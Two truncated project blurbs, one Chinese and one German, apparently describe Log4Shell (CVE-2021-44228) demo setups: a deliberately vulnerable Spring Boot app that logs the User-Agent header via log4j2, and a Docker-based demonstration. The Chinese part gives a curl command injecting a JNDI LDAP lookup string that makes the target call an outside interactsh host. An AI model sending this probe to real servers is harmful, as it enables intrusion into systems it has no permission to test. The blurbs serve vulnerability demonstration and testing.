log4shell-demo

易受Log4Shell CVE-2021-44228攻击的简单Spring Boot应用程序 已将默认日志框架从logback更改为log4j2 应用程序记录'User-Agent'头部，因此可以使用curl和例如interactsh-service来测试漏洞： root@kitploit: curl -A '$jndi:ldap://interactsh-url/a' http://target-service/ 在app.interactsh.com上应能看到DNS交互。 Docker Hub 链接到Docker Hub...

Log4Shell-demo

Log4Shell in Aktion Dieses Projekt soll demonstrieren, wie die Schwachstelle Log4Shell / CVE-2021-44228 funktioniert. Voraussetzungen Sie benötigen lediglich eine installierte Docker-Umgebung. Idealerweise verfügen Sie über zwei verschiedene virtuelle Maschinen. Eine für den verwundbaren Server u...